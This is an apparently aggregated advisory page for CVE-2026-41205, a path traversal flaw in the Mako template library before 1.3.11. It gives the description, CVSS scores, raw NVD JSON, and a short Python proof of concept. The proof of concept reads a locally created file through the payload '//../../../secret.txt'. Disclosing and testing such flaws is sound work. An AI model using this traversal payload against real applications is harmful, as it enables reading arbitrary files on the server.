Security Vulnerability Report
中文
CVE-2026-41205 CVSS 7.5 HIGH

CVE-2026-41205

Published: 2026-04-23 19:17:29
Last Modified: 2026-05-20 02:16:36

Description

Mako is a template library written in Python. Prior to 1.3.11, TemplateLookup.get_template() is vulnerable to path traversal when a URI starts with // (e.g., //../../../secret.txt). The root cause is an inconsistency between two slash-stripping implementations. Any file readable by the process can be returned as rendered template content when an application passes untrusted input directly to TemplateLookup.get_template(). This vulnerability is fixed in 1.3.11.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:sqlalchemy:mako:*:*:*:*:*:*:*:* - VULNERABLE
Mako < 1.3.11

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-41205: Mako TemplateLookup Path Traversal # This demonstrates how a URI starting with '//' can lead to arbitrary file read. from mako.lookup import TemplateLookup import os # Simulating a vulnerable application setup # Assuming the application restricts templates to './templates' directory lookup = TemplateLookup(directories=['./templates'], filesystem_checks=True) # Create a dummy file outside the template root to test reading secret_file_path = '../secret.txt' with open(secret_file_path, 'w') as f: f.write('Sensitive Data: POC_SUCCESS') print("Attempting to exploit CVE-2026-41205...") # The attack vector: URI starting with '//' followed by path traversal # This targets the file created outside the templates directory malicious_uri = "//../../../secret.txt" try: # In vulnerable versions (< 1.3.11), get_template() processes the URI incorrectly # due to inconsistent slash stripping, allowing directory traversal. template = lookup.get_template(malicious_uri) result = template.render() print(f"[+] Exploit Successful! Read file content: {result.strip()}") except Exception as e: print(f"[-] Exploit Failed or Patched: {e}") # Cleanup if os.path.exists(secret_file_path): os.remove(secret_file_path)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41205", "sourceIdentifier": "[email protected]", "published": "2026-04-23T19:17:29.270", "lastModified": "2026-05-20T02:16:36.087", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mako is a template library written in Python. Prior to 1.3.11, TemplateLookup.get_template() is vulnerable to path traversal when a URI starts with // (e.g., //../../../secret.txt). The root cause is an inconsistency between two slash-stripping implementations. Any file readable by the process can be returned as rendered template content when an application passes untrusted input directly to TemplateLookup.get_template(). This vulnerability is fixed in 1.3.11."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sqlalchemy:mako:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.3.11", "matchCriteriaId": "2653BBE1-C0D8-4375-8CC0-B7713D560924"}]}]}], "references": [{"url": "https://github.com/sqlalchemy/mako/commit/e05ac61989a7fb9dd7dcde6cfd72dc48328719a3", "source": "[email protected]"}, {"url": "https://github.com/sqlalchemy/mako/releases/tag/rel_1_3_11", "source": "[email protected]"}, {"url": "https://github.com/sqlalchemy/mako/security/advisories/GHSA-v92g-xgxw-vvmm", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}